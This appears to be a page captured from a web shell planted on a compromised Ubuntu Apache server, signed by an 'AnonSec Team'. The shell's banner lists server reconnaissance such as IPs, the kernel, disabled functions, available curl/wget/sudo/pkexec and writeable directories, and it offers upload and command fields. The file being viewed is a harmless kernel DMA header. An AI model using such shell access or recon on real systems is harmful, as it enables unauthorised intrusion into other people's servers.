NICH
Server IP : 127.0.1.1  /  Your IP : 216.73.216.172
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux bahcrestlinepropertiesllc 5.15.0-113-generic #123-Ubuntu SMP Mon Jun 10 08:16:17 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/1648833/cwd/lib/modules/5.15.0-153-generic/build/include/dt-bindings/dma/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/1648833/cwd/lib/modules/5.15.0-153-generic/build/include/dt-bindings/dma/x1830-dma.h
/* SPDX-License-Identifier: GPL-2.0-only */
/*
 * This header provides macros for X1830 DMA bindings.
 *
 * Copyright (c) 2019 周琰杰 (Zhou Yanjie) <zhouyanjie@wanyeetech.com>
 */

#ifndef __DT_BINDINGS_DMA_X1830_DMA_H__
#define __DT_BINDINGS_DMA_X1830_DMA_H__

/*
 * Request type numbers for the X1830 DMA controller (written to the DRTn
 * register for the channel).
 */
#define X1830_DMA_I2S0_TX	0x6
#define X1830_DMA_I2S0_RX	0x7
#define X1830_DMA_AUTO		0x8
#define X1830_DMA_SADC_RX	0x9
#define X1830_DMA_UART1_TX	0x12
#define X1830_DMA_UART1_RX	0x13
#define X1830_DMA_UART0_TX	0x14
#define X1830_DMA_UART0_RX	0x15
#define X1830_DMA_SSI0_TX	0x16
#define X1830_DMA_SSI0_RX	0x17
#define X1830_DMA_SSI1_TX	0x18
#define X1830_DMA_SSI1_RX	0x19
#define X1830_DMA_MSC0_TX	0x1a
#define X1830_DMA_MSC0_RX	0x1b
#define X1830_DMA_MSC1_TX	0x1c
#define X1830_DMA_MSC1_RX	0x1d
#define X1830_DMA_DMIC_RX	0x21
#define X1830_DMA_SMB0_TX	0x24
#define X1830_DMA_SMB0_RX	0x25
#define X1830_DMA_SMB1_TX	0x26
#define X1830_DMA_SMB1_RX	0x27
#define X1830_DMA_DES_TX	0x2e
#define X1830_DMA_DES_RX	0x2f

#endif /* __DT_BINDINGS_DMA_X1830_DMA_H__ */

Anon7 - 2022
AnonSec Team